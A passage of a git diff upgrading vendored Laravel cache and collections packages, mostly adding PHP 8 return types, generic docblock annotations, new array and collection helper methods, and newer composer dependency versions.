$this->tags->flushStaleEntries(); - $valuesChunk = array_unique($valuesChunk); - - if (count($valuesChunk) > 0) { - $this->store->connection()->del(...$valuesChunk); - } - } while (((string) $cursor) !== $defaultCursorValue); - } - - /** - * Get the reference key for the segment. - * - * @param string $segment - * @param string $suffix - * @return string - */ - protected function referenceKey($segment, $suffix) - { - return $this->store->getPrefix().$segment.':'.$suffix; + return true; } } diff --git a/vendor/illuminate/cache/Repository.php b/vendor/illuminate/cache/Repository.php index c7934c034..606f73b31 100644 --- a/vendor/illuminate/cache/Repository.php +++ b/vendor/illuminate/cache/Repository.php @@ -22,8 +22,7 @@ */ class Repository implements ArrayAccess, CacheContract { - use InteractsWithTime; - use Macroable { + use InteractsWithTime, Macroable { __call as macroCall; } @@ -62,10 +61,10 @@ public function __construct(Store $store) /** * Determine if an item exists in the cache. * - * @param string $key + * @param array|string $key * @return bool */ - public function has($key) + public function has($key): bool { return ! is_null($this->get($key)); } @@ -84,11 +83,13 @@ public function missing($key) /** * Retrieve an item from the cache by key. * - * @param string $key - * @param mixed $default - * @return mixed + * @template TCacheValue + * + * @param array|string $key + * @param TCacheValue|(\Closure(): TCacheValue) $default + * @return (TCacheValue is null ? mixed : TCacheValue) */ - public function get($key, $default = null) + public function get($key, $default = null): mixed { if (is_array($key)) { return $this->many($key); @@ -134,7 +135,7 @@ public function many(array $keys) * * @return iterable */ - public function getMultiple($keys, $default = null) + public function getMultiple($keys, $default = null): iterable { $defaults = []; @@ -161,7 +162,7 @@ protected function handleManyResult($keys, $key, $value) if (is_null($value)) { $this->event(new CacheMissed($key)); - return isset($keys[$key]) ? value($keys[$key]) : null; + return (isset($keys[$key]) && ! array_is_list($keys)) ? value($keys[$key]) : null; } // If we found a valid value we will fire the "hit" event and return the value @@ -175,9 +176,11 @@ protected function handleManyResult($keys, $key, $value) /** * Retrieve an item from the cache and delete it. * - * @param string $key - * @param mixed $default - * @return mixed + * @template TCacheValue + * + * @param array|string $key + * @param TCacheValue|(\Closure(): TCacheValue) $default + * @return (TCacheValue is null ? mixed : TCacheValue) */ public function pull($key, $default = null) { @@ -189,7 +192,7 @@ public function pull($key, $default = null) /** * Store an item in the cache. * - * @param string $key + * @param array|string $key * @param mixed $value * @param \DateTimeInterface|\DateInterval|int|null $ttl * @return bool @@ -224,7 +227,7 @@ public function put($key, $value, $ttl = null) * * @return bool */ - public function set($key, $value, $ttl = null) + public function set($key, $value, $ttl = null): bool { return $this->put($key, $value, $ttl); } @@ -283,7 +286,7 @@ protected function putManyForever(array $values) * * @return bool */ - public function setMultiple($values, $ttl = null) + public function setMultiple($values, $ttl = null): bool { return $this->putMany(is_array($values) ? $values : iterator_to_array($values), $ttl); } @@ -372,10 +375,12 @@ public function forever($key, $value) /** * Get an item from the cache, or execute the given Closure and store the result. * + * @template TCacheValue + * * @param string $key * @param \Closure|\DateTimeInterface|\DateInterval|int|null $ttl - * @param \Closure $callback - * @return mixed + * @param \Closure(): TCacheValue $callback + * @return TCacheValue */ public function remember($key, $ttl, Closure $callback) { @@ -388,7 +393,9 @@ public function remember($key, $ttl, Closure $callback) return $value; } - $this->put($key, $value = $callback(), value($ttl)); + $value = $callback(); + + $this->put($key, $value, value($ttl, $value)); return $value; } @@ -396,9 +403,11 @@ public function remember($key, $ttl, Closure $callback) /** * Get an item from the cache, or execute the given Closure and store the result forever. * + * @template TCacheValue + * * @param string $key - * @param \Closure $callback - * @return mixed + * @param \Closure(): TCacheValue $callback + * @return TCacheValue */ public function sear($key, Closure $callback) { @@ -408,9 +417,11 @@ public function sear($key, Closure $callback) /** * Get an item from the cache, or execute the given Closure and store the result forever. * + * @template TCacheValue + * * @param string $key - * @param \Closure $callback - * @return mixed + * @param \Closure(): TCacheValue $callback + * @return TCacheValue */ public function rememberForever($key, Closure $callback) { @@ -448,7 +459,7 @@ public function forget($key) * * @return bool */ - public function delete($key) + public function delete($key): bool { return $this->forget($key); } @@ -458,7 +469,7 @@ public function delete($key) * * @return bool */ - public function deleteMultiple($keys) + public function deleteMultiple($keys): bool { $result = true; @@ -476,7 +487,7 @@ public function deleteMultiple($keys) * * @return bool */ - public function clear() + public function clear(): bool { return $this->store->flush(); } @@ -575,6 +586,19 @@ public function getStore() return $this->store; } + /** + * Set the cache store implementation. + * + * @param \Illuminate\Contracts\Cache\Store $store + * @return static + */ + public function setStore($store) + { + $this->store = $store; + + return $this; + } + /** * Fire an event for this cache instance. * @@ -583,9 +607,7 @@ public function getStore() */ protected function event($event) { - if (isset($this->events)) { - $this->events->dispatch($event); - } + $this->events?->dispatch($event); } /** @@ -615,8 +637,7 @@ public function setEventDispatcher(Dispatcher $events) * @param string $key * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($key) + public function offsetExists($key): bool { return $this->has($key); } @@ -627,8 +648,7 @@ public function offsetExists($key) * @param string $key * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($key) + public function offsetGet($key): mixed { return $this->get($key); } @@ -640,8 +660,7 @@ public function offsetGet($key) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($key, $value) + public function offsetSet($key, $value): void { $this->put($key, $value, $this->default); } @@ -652,8 +671,7 @@ public function offsetSet($key, $value) * @param string $key * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($key) + public function offsetUnset($key): void { $this->forget($key); } diff --git a/vendor/illuminate/cache/composer.json b/vendor/illuminate/cache/composer.json index 69f553fa6..38c471704 100644 --- a/vendor/illuminate/cache/composer.json +++ b/vendor/illuminate/cache/composer.json @@ -14,14 +14,14 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0" + "php": "^8.1", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0" }, "provide": { - "psr/simple-cache-implementation": "1.0" + "psr/simple-cache-implementation": "1.0|2.0|3.0" }, "autoload": { "psr-4": { @@ -30,15 +30,17 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "suggest": { + "ext-apcu": "Required to use the APC cache driver.", + "ext-filter": "Required to use the DynamoDb cache driver.", "ext-memcached": "Required to use the memcache cache driver.", - "illuminate/database": "Required to use the database cache driver (^8.0).", - "illuminate/filesystem": "Required to use the file cache driver (^8.0).", - "illuminate/redis": "Required to use the redis cache driver (^8.0).", - "symfony/cache": "Required to PSR-6 cache bridge (^5.4)." + "illuminate/database": "Required to use the database cache driver (^10.0).", + "illuminate/filesystem": "Required to use the file cache driver (^10.0).", + "illuminate/redis": "Required to use the redis cache driver (^10.0).", + "symfony/cache": "Required to use PSR-6 cache bridge (^6.2)." }, "config": { "sort-packages": true diff --git a/vendor/illuminate/collections/Arr.php b/vendor/illuminate/collections/Arr.php index fd7dca8a5..361808418 100644 --- a/vendor/illuminate/collections/Arr.php +++ b/vendor/illuminate/collections/Arr.php @@ -2,6 +2,7 @@ namespace Illuminate\Support; +use ArgumentCountError; use ArrayAccess; use Illuminate\Support\Traits\Macroable; use InvalidArgumentException; @@ -25,7 +26,7 @@ public static function accessible($value) * Add an element to an array using "dot" notation if it doesn't exist. * * @param array $array - * @param string $key + * @param string|int|float $key * @param mixed $value * @return array */ @@ -142,7 +143,7 @@ public static function undot($array) * Get all of the given array except for a specified array of keys. * * @param array $array - * @param array|string $keys + * @param array|string|int|float $keys * @return array */ public static function except($array, $keys) @@ -169,6 +170,10 @@ public static function exists($array, $key) return $array->offsetExists($key); } + if (is_float($key)) { + $key = (string) $key; + } + return array_key_exists($key, $array); } @@ -190,6 +195,8 @@ public static function first($array, callable $callback = null, $default = null) foreach ($array as $item) { return $item; } + + return value($default); } foreach ($array as $key => $value) { @@ -218,6 +225,22 @@ public static function last($array, callable $callback = null, $default = null) return static::first(array_reverse($array, true), $callback, $default); } + /** + * Take the first or last {$limit} items from an array. + * + * @param array $array + * @param int $limit + * @return array + */ + public static function take($array, $limit) + { + if ($limit < 0) { + return array_slice($array, $limit, abs($limit)); + } + + return array_slice($array, 0, $limit); + } + /** * Flatten a multi-dimensional array into a single level. * @@ -252,7 +275,7 @@ public static function flatten($array, $depth = INF) * Remove one or many array items from a given array using "dot" notation. * * @param array $array - * @param array|string $keys + * @param array|string|int|float $keys * @return void */ public static function forget(&$array, $keys) @@ -281,7 +304,7 @@ public static function forget(&$array, $keys) while (count($parts) > 1) { $part = array_shift($parts); - if (isset($array[$part]) && is_array($array[$part])) { + if (isset($array[$part]) && static::accessible($array[$part])) { $array = &$array[$part]; } else { continue 2; @@ -314,7 +337,7 @@ public static function get($array, $key, $default = null) return $array[$key]; } - if (strpos($key, '.') === false) { + if (! str_contains($key, '.')) { return $array[$key] ?? value($default); } @@ -405,9 +428,7 @@ public static function hasAny($array, $keys) */ public static function isAssoc(array $array) { - $keys = array_keys($array); - - return array_keys($keys) !== $keys; + return ! array_is_list($array); } /** @@ -420,7 +441,58 @@ public static function isAssoc(array $array) */ public static function isList($array) { - return ! self::isAssoc($array); + return array_is_list($array); + } + + /** + * Join all items using a string. The final items can use a separate glue string. + * + * @param array $array + * @param string $glue + * @param string $finalGlue + * @return string + */ + public static function join($array, $glue, $finalGlue = '') + { + if ($finalGlue === '') { + return implode($glue, $array); + } + + if (count($array) === 0) { + return ''; + } + + if (count($array) === 1) { + return end($array); + } + + $finalItem = array_pop($array); + + return implode($glue, $array).$finalGlue.$finalItem; + } + + /** + * Key an associative array by a field or using a callback. + * + * @param array $array + * @param callable|array|string $keyBy + * @return array + */ + public static function keyBy($array, $keyBy) + { + return Collection::make($array)->keyBy($keyBy)->all(); + } + + /** + * Prepend the key names of an associative array. + * + * @param array $array + * @param string $prependWith + * @return array + */ + public static function prependKeysWith($array, $prependWith) + { + return static::mapWithKeys($array, fn ($item, $key) => [$prependWith.$key => $item]); } /** @@ -435,6 +507,32 @@ public static function only($array, $keys) return array_intersect_key($array, array_flip((array) $keys)); } + /** + * Select an array of values from an array. + * + * @param array $array + * @param array|string $keys + * @return array + */ + public static function select($array, $keys) + { + $keys = static::wrap($keys); + + return static::map($array, function ($item) use ($keys) { + $result = []; + + foreach ($keys as $key) { + if (Arr::accessible($item) && Arr::exists($item, $key)) { + $result[$key] = $item[$key]; + } elseif (is_object($item) && isset($item->{$key})) { + $result[$key] = $item->{$key}; + } + } + + return $result; + }); + } + /** * Pluck an array of values from an array. * @@ -487,6 +585,55 @@ protected static function explodePluckParameters($value, $key) return [$value, $key]; } + /** + * Run a map over each of the items in the array. + * + * @param array $array + * @param callable $callback + * @return array + */ + public static function map(array $array, callable $callback) + { + $keys = array_keys($array); + + try { + $items = array_map($callback, $array, $keys); + } catch (ArgumentCountError) { + $items = array_map($callback, $array); + } + + return array_combine($keys, $items); + } + + /** + * Run an associative map over each of the items. + * + * The callback should return an associative array with a single key/value pair. + * + * @template TKey + * @template TValue + * @template TMapWithKeysKey of array-key + * @template TMapWithKeysValue + * + * @param array $array + * @param callable(TValue, TKey): array $callback + * @return array + */ + public static function mapWithKeys(array $array, callable $callback) + { + $result = []; + + foreach ($array as $key => $value) { + $assoc = $callback($value, $key); + + foreach ($assoc as $mapKey => $mapValue) { + $result[$mapKey] = $mapValue; + } + } + + return $result; + } + /** * Push an item onto the beginning of an array. * @@ -539,7 +686,7 @@ public static function query($array) * * @param array $array * @param int|null $number - * @param bool|false $preserveKeys + * @param bool $preserveKeys * @return mixed * * @throws \InvalidArgumentException @@ -587,7 +734,7 @@ public static function random($array, $number = null, $preserveKeys = false) * If no key is given to the method, the entire array will be replaced. * * @param array $array - * @param string|null $key + * @param string|int|null $key * @param mixed $value * @return array */ @@ -653,6 +800,18 @@ public static function sort($array, $callback = null) return Collection::make($array)->sortBy($callback)->all(); } + /** + * Sort the array in descending order using the given callback or "dot" notation. + * + * @param array $array + * @param callable|array|string|null $callback + * @return array + */ + public static function sortDesc($array, $callback = null) + { + return Collection::make($array)->sortByDesc($callback)->all(); + } + /** * Recursively sort an array by keys and values. * @@ -669,7 +828,7 @@ public static function sortRecursive($array, $options = SORT_REGULAR, $descendin } } - if (static::isAssoc($array)) { + if (! array_is_list($array)) { $descending ? krsort($array, $options) : ksort($array, $options); @@ -682,6 +841,18 @@ public static function sortRecursive($array, $options = SORT_REGULAR, $descendin return $array; } + /** + * Recursively sort an array by keys and values in descending order. + * + * @param array $array + * @param int $options + * @return array + */ + public static function sortRecursiveDesc($array, $options = SORT_REGULAR) + { + return static::sortRecursive($array, $options, true); + } + /** * Conditionally compile classes from an array into a CSS class list. * @@ -705,6 +876,29 @@ public static function toCssClasses($array) return implode(' ', $classes); } + /** + * Conditionally compile styles from an array into a style list. + * + * @param array $array + * @return string + */ + public static function toCssStyles($array) + { + $styleList = static::wrap($array); + + $styles = []; + + foreach ($styleList as $class => $constraint) { + if (is_numeric($class)) { + $styles[] = Str::finish($constraint, ';'); + } elseif ($constraint) { + $styles[] = Str::finish($class, ';'); + } + } + + return implode(' ', $styles); + } + /** * Filter the array using the given callback. * @@ -725,9 +919,7 @@ public static function where($array, callable $callback) */ public static function whereNotNull($array) { - return static::where($array, function ($value) { - return ! is_null($value); - }); + return static::where($array, fn ($value) => ! is_null($value)); } /** diff --git a/vendor/illuminate/collections/Collection.php b/vendor/illuminate/collections/Collection.php index 61a48841c..c46fc052f 100644 --- a/vendor/illuminate/collections/Collection.php +++ b/vendor/illuminate/collections/Collection.php @@ -8,22 +8,34 @@ use Illuminate\Support\Traits\EnumeratesValues; use Illuminate\Support\Traits\Macroable; use stdClass; - +use Traversable; + +/** + * @template TKey of array-key + * + * @template-covariant TValue + * + * @implements \ArrayAccess + * @implements \Illuminate\Support\Enumerable + */ class Collection implements ArrayAccess, CanBeEscapedWhenCastToString, Enumerable { + /** + * @use \Illuminate\Support\Traits\EnumeratesValues + */ use EnumeratesValues, Macroable; /** * The items contained in the collection. * - * @var array + * @var array */ protected $items = []; /** * Create a new collection. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable|null $items * @return void */ public function __construct($items = []) @@ -36,7 +48,7 @@ public function __construct($items = []) * * @param int $from * @param int $to - * @return static + * @return static */ public static function range($from, $to) { @@ -46,7 +58,7 @@ public static function range($from, $to) /** * Get all of the items in the collection. * - * @return array + * @return array */ public function all() { @@ -56,7 +68,7 @@ public function all() /** * Get a lazy collection for the items in this collection. * - * @return \Illuminate\Support\LazyCollection + * @return \Illuminate\Support\LazyCollection */ public function lazy() { @@ -66,18 +78,16 @@ public function lazy() /** * Get the average value of a given key. * - * @param callable|string|null $callback - * @return mixed + * @param (callable(TValue): float|int)|string|null $callback + * @return float|int|null */ public function avg($callback = null) { $callback = $this->valueRetriever($callback); - $items = $this->map(function ($value) use ($callback) { - return $callback($value); - })->filter(function ($value) { - return ! is_null($value); - }); + $items = $this + ->map(fn ($value) => $callback($value)) + ->filter(fn ($value) => ! is_null($value)); if ($count = $items->count()) { return $items->sum() / $count; @@ -87,15 +97,14 @@ public function avg($callback = null) /** * Get the median of a given key. * - * @param string|array|null $key - * @return mixed + * @param string|array|null $key + * @return float|int|null */ public function median($key = null) { $values = (isset($key) ? $this->pluck($key) : $this) - ->filter(function ($item) { - return ! is_null($item); - })->sort()->values(); + ->filter(fn ($item) => ! is_null($item)) + ->sort()->values(); $count = $values->count(); @@ -117,8 +126,8 @@ public function median($key = null) /** * Get the mode of a given key. * - * @param string|array|null $key - * @return array|null + * @param string|array|null $key + * @return array|null */ public function mode($key = null) { @@ -130,23 +139,20 @@ public function mode($key = null) $counts = new static; - $collection->each(function ($value) use ($counts) { - $counts[$value] = isset($counts[$value]) ? $counts[$value] + 1 : 1; - }); + $collection->each(fn ($value) => $counts[$value] = isset($counts[$value]) ? $counts[$value] + 1 : 1); $sorted = $counts->sort(); $highestValue = $sorted->last(); - return $sorted->filter(function ($value) use ($highestValue) { - return $value == $highestValue; - })->sort()->keys()->all(); + return $sorted->filter(fn ($value) => $value == $highestValue) + ->sort()->keys()->all(); } /** * Collapse the collection of items into a single array. * - * @return static + * @return static */ public function collapse() { @@ -156,7 +162,7 @@ public function collapse() /** * Determine if an item exists in the collection. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value * @return bool @@ -176,6 +182,26 @@ public function contains($key, $operator = null, $value = null) return $this->contains($this->operatorForWhere(...func_get_args())); } + /** + * Determine if an item exists, using strict comparison. + * + * @param (callable(TValue): bool)|TValue|array-key $key + * @param TValue|null $value + * @return bool + */ + public function containsStrict($key, $value = null) + { + if (func_num_args() === 2) { + return $this->contains(fn ($item) => data_get($item, $key) === $value); + } + + if ($this->useAsCallable($key)) { + return ! is_null($this->first($key)); + } + + return in_array($key, $this->items, true); + } + /** * Determine if an item is not contained in the collection. * @@ -192,8 +218,11 @@ public function doesntContain($key, $operator = null, $value = null) /** * Cross join with the given lists, returning all possible permutations. * - * @param mixed ...$lists - * @return static + * @template TCrossJoinKey + * @template TCrossJoinValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable ...$lists + * @return static> */ public function crossJoin(...$lists) { @@ -205,7 +234,7 @@ public function crossJoin(...$lists) /** * Get the items in the collection that are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diff($items) @@ -216,8 +245,8 @@ public function diff($items) /** * Get the items in the collection that are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TValue, TValue): int $callback * @return static */ public function diffUsing($items, callable $callback) @@ -228,7 +257,7 @@ public function diffUsing($items, callable $callback) /** * Get the items in the collection whose keys and values are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diffAssoc($items) @@ -239,8 +268,8 @@ public function diffAssoc($items) /** * Get the items in the collection whose keys and values are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TKey, TKey): int $callback * @return static */ public function diffAssocUsing($items, callable $callback) @@ -251,7 +280,7 @@ public function diffAssocUsing($items, callable $callback) /** * Get the items in the collection whose keys are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diffKeys($items) @@ -262,8 +291,8 @@ public function diffKeys($items) /** * Get the items in the collection whose keys are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TKey, TKey): int $callback * @return static */ public function diffKeysUsing($items, callable $callback) @@ -274,7 +303,7 @@ public function diffKeysUsing($items, callable $callback) /** * Retrieve duplicate items from the collection. * - * @param callable|string|null $callback + * @param (callable(TValue): bool)|string|null $callback * @param bool $strict * @return static */ @@ -302,7 +331,7 @@ public function duplicates($callback = null, $strict = false) /** * Retrieve duplicate items from the collection using strict comparison. * - * @param callable|string|null $callback + * @param (callable(TValue): bool)|string|null $callback * @return static */ public function duplicatesStrict($callback = null) @@ -314,29 +343,29 @@ public function duplicatesStrict($callback = null) * Get the comparison function to detect duplicates. * * @param bool $strict - * @return \Closure + * @return callable(TValue, TValue): bool */ protected function duplicateComparator($strict) { if ($strict) { - return function ($a, $b) { - return $a === $b; - }; + return fn ($a, $b) => $a === $b; } - return function ($a, $b) { - return $a == $b; - }; + return fn ($a, $b) => $a == $b; } /** * Get all items except for those with the specified keys. * - * @param \Illuminate\Support\Collection|mixed $keys + * @param \Illuminate\Support\Enumerable|array|string $keys * @return static */ public function except($keys) { + if (is_null($keys)) { + return new static($this->items); + } + if ($keys instanceof Enumerable) { $keys = $keys->all(); } elseif (! is_array($keys)) { @@ -349,7 +378,7 @@ public function except($keys) /** * Run a filter over each of the items. * - * @param callable|null $callback + * @param (callable(TValue, TKey): bool)|null $callback * @return static */ public function filter(callable $callback = null) @@ -364,9 +393,11 @@ public function filter(callable $callback = null) /** * Get the first item from the collection passing the given truth test. * - * @param callable|null $callback - * @param mixed $default - * @return mixed + * @template TFirstDefault + * + * @param (callable(TValue, TKey): bool)|null $callback + * @param TFirstDefault|(\Closure(): TFirstDefault) $default + * @return TValue|TFirstDefault */ public function first(callable $callback = null, $default = null) { @@ -377,7 +408,7 @@ public function first(callable $callback = null, $default = null) * Get a flattened array of the items in the collection. * * @param int $depth - * @return static + * @return static */ public function flatten($depth = INF) { @@ -387,7 +418,7 @@ public function flatten($depth = INF) /** * Flip the items in the collection. * - * @return static + * @return static */ public function flip() { @@ -397,12 +428,13 @@ public function flip() /** * Remove an item from the collection by key. * - * @param string|int|array $keys + * \Illuminate\Contracts\Support\Arrayable|iterable|TKey $keys + * * @return $this */ public function forget($keys) { - foreach ((array) $keys as $key) { + foreach ($this->getArrayableItems($keys) as $key) { $this->offsetUnset($key); } @@ -412,9 +444,11 @@ public function forget($keys) /** * Get an item from the collection by key. * - * @param mixed $key - * @param mixed $default - * @return mixed + * @template TGetDefault + * + * @param TKey $key + * @param TGetDefault|(\Closure(): TGetDefault) $default + * @return TValue|TGetDefault */ public function get($key, $default = null) { @@ -428,9 +462,11 @@ public function get($key, $default = null) /** * Get an item from the collection by key or add it to collection if it does not exist. * + * @template TGetOrPutValue + * * @param mixed $key - * @param mixed $value - * @return mixed + * @param TGetOrPutValue|(\Closure(): TGetOrPutValue) $value + * @return TValue|TGetOrPutValue */ public function getOrPut($key, $value) { @@ -446,9 +482,9 @@ public function getOrPut($key, $value) /** * Group an associative array by a field or using a callback. * - * @param array|callable|string $groupBy + * @param (callable(TValue, TKey): array-key)|array|string $groupBy * @param bool $preserveKeys - * @return static + * @return static> */ public function groupBy($groupBy, $preserveKeys = false) { @@ -470,7 +506,12 @@ public function groupBy($groupBy, $preserveKeys = false) } foreach ($groupKeys as $groupKey) { - $groupKey = is_bool($groupKey) ? (int) $groupKey : $groupKey; + $groupKey = match (true) { + is_bool($groupKey) => (int) $groupKey, + $groupKey instanceof \BackedEnum => $groupKey->value, + $groupKey instanceof \Stringable => (string) $groupKey, + default => $groupKey, + }; if (! array_key_exists($groupKey, $results)) { $results[$groupKey] = new static; @@ -492,8 +533,8 @@ public function groupBy($groupBy, $preserveKeys = false) /** * Key an associative array by a field or using a callback. * - * @param callable|string $keyBy - * @return static + * @param (callable(TValue, TKey): array-key)|array|string $keyBy + * @return static */ public function keyBy($keyBy) { @@ -517,7 +558,7 @@ public function keyBy($keyBy) /** * Determine if an item exists in the collection by key. * - * @param mixed $key + * @param TKey|array $key * @return bool */ public function has($key) @@ -559,12 +600,16 @@ public function hasAny($key) /** * Concatenate values of a given key as a string. * - * @param string $value + * @param callable|string $value * @param string|null $glue * @return string */ public function implode($value, $glue = null) { + if ($this->useAsCallable($value)) { + return implode($glue ?? '', $this->map($value)->all()); + } + $first = $this->first(); if (is_array($first) || (is_object($first) && ! $first instanceof Stringable)) { @@ -577,7 +622,7 @@ public function implode($value, $glue = null) /** * Intersect the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function intersect($items) @@ -585,10 +630,45 @@ public function intersect($items) return new static(array_intersect($this->items, $this->getArrayableItems($items))); } + /** + * Intersect the collection with the given items, using the callback. + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TValue, TValue): int $callback + * @return static + */ + public function intersectUsing($items, callable $callback) + { + return new static(array_uintersect($this->items, $this->getArrayableItems($items), $callback)); + } + + /** + * Intersect the collection with the given items with additional index check. + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @return static + */ + public function intersectAssoc($items) + { + return new static(array_intersect_assoc($this->items, $this->getArrayableItems($items))); + } + + /** + * Intersect the collection with the given items with additional index check, using the callback. + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TValue, TValue): int $callback + * @return static + */ + public function intersectAssocUsing($items, callable $callback) + { + return new static(array_intersect_uassoc($this->items, $this->getArrayableItems($items), $callback)); + } + /** * Intersect the collection with the given items by key. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function intersectByKeys($items) @@ -651,7 +731,7 @@ public function join($glue, $finalGlue = '') /** * Get the keys of the collection items. * - * @return static + * @return static */ public function keys() { @@ -661,9 +741,11 @@ public function keys() /** * Get the last item from the collection. * - * @param callable|null $callback - * @param mixed $default - * @return mixed + * @template TLastDefault + * + * @param (callable(TValue, TKey): bool)|null $callback + * @param TLastDefault|(\Closure(): TLastDefault) $default + * @return TValue|TLastDefault */ public function last(callable $callback = null, $default = null) { @@ -673,9 +755,9 @@ public function last(callable $callback = null, $default = null) /** * Get the values of a given key. * - * @param string|array|int|null $value + * @param string|int|array $value * @param string|null $key - * @return static + * @return static */ public function pluck($value, $key = null) { @@ -685,16 +767,14 @@ public function pluck($value, $key = null) /** * Run a map over each of the items. * - * @param callable $callback - * @return static + * @template TMapValue + * + * @param callable(TValue, TKey): TMapValue $callback + * @return static */ public function map(callable $callback) { - $keys = array_keys($this->items); - - $items = array_map($callback, $this->items, $keys); - - return new static(array_combine($keys, $items)); + return new static(Arr::map($this->items, $callback)); } /** @@ -702,8 +782,11 @@ public function map(callable $callback) * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapToDictionaryKey of array-key + * @template TMapToDictionaryValue + * + * @param callable(TValue, TKey): array $callback + * @return static> */ public function mapToDictionary(callable $callback) { @@ -731,28 +814,21 @@ public function mapToDictionary(callable $callback) * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapWithKeysKey of array-key + * @template TMapWithKeysValue + * + * @param callable(TValue, TKey): array $callback + * @return static */ public function mapWithKeys(callable $callback) { - $result = []; - - foreach ($this->items as $key => $value) { - $assoc = $callback($value, $key); - - foreach ($assoc as $mapKey => $mapValue) { - $result[$mapKey] = $mapValue; - } - } - - return new static($result); + return new static(Arr::mapWithKeys($this->items, $callback)); } /** * Merge the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function merge($items) @@ -763,8 +839,10 @@ public function merge($items) /** * Recursively merge the collection with the given items. * - * @param mixed $items - * @return static + * @template TMergeRecursiveValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @return static */ public function mergeRecursive($items) { @@ -774,8 +852,10 @@ public function mergeRecursive($items) /** * Create a collection by using this collection for keys and another for its values. * - * @param mixed $values - * @return static + * @template TCombineValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values + * @return static */ public function combine($values) { @@ -785,7 +865,7 @@ public function combine($values) /** * Union the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function union($items) @@ -820,7 +900,7 @@ public function nth($step, $offset = 0) /** * Get the items with the specified keys. * - * @param mixed $keys + * @param \Illuminate\Support\Enumerable|array|string|null $keys * @return static */ public function only($keys) @@ -838,11 +918,32 @@ public function only($keys) return new static(Arr::only($this->items, $keys)); } + /** + * Select specific values from the items within the collection. + * + * @param \Illuminate\Support\Enumerable|array|string|null $keys + * @return static + */ + public function select($keys) + { + if (is_null($keys)) { + return new static($this->items); + } + + if ($keys instanceof Enumerable) { + $keys = $keys->all(); + } + + $keys = is_array($keys) ? $keys : func_get_args(); + + return new static(Arr::select($this->items, $keys)); + } + /** * Get and remove the last N items from the collection. * * @param int $count - * @return mixed + * @return static|TValue|null */ public function pop($count = 1) { @@ -868,8 +969,8 @@ public function pop($count = 1) /** * Push an item onto the beginning of the collection. * - * @param mixed $value - * @param mixed $key + * @param TValue $value + * @param TKey $key * @return $this */ public function prepend($value, $key = null) @@ -882,7 +983,7 @@ public function prepend($value, $key = null) /** * Push one or more items onto the end of the collection. * - * @param mixed $values + * @param TValue ...$values * @return $this */ public function push(...$values) @@ -897,8 +998,11 @@ public function push(...$values) /** * Push all of the given items onto the collection. * - * @param iterable $source - * @return static + * @template TConcatKey of array-key + * @template TConcatValue + * + * @param iterable $source + * @return static */ public function concat($source) { @@ -914,9 +1018,11 @@ public function concat($source) /** * Get and remove an item from the collection. * - * @param mixed $key - * @param mixed $default - * @return mixed + * @template TPullDefault + * + * @param TKey $key + * @param TPullDefault|(\Closure(): TPullDefault) $default + * @return TValue|TPullDefault */ public function pull($key, $default = null) { @@ -926,8 +1032,8 @@ public function pull($key, $default = null) /** * Put an item in the collection by key. * - * @param mixed $key - * @param mixed $value + * @param TKey $key + * @param TValue $value * @return $this */ public function put($key, $value) @@ -940,24 +1046,29 @@ public function put($key, $value) /** * Get one or a specified number of items randomly from the collection. * - * @param int|null $number - * @return static|mixed + * @param (callable(self): int)|int|null $number + * @param bool $preserveKeys + * @return static|TValue * * @throws \InvalidArgumentException */ - public function random($number = null) + public function random($number = null, $preserveKeys = false) { if (is_null($number)) { return Arr::random($this->items); } - return new static(Arr::random($this->items, $number)); + if (is_callable($number)) { + return new static(Arr::random($this->items, $number($this), $preserveKeys)); + } + + return new static(Arr::random($this->items, $number, $preserveKeys)); } /** * Replace the collection items with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function replace($items) @@ -968,7 +1079,7 @@ public function replace($items) /** * Recursively replace the collection items with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function replaceRecursive($items) @@ -989,9 +1100,9 @@ public function reverse() /** * Search the collection for a given value and return the corresponding key if successful. * - * @param mixed $value + * @param TValue|(callable(TValue,TKey): bool) $value * @param bool $strict - * @return mixed + * @return TKey|false */ public function search($value, $strict = false) { @@ -1012,7 +1123,7 @@ public function search($value, $strict = 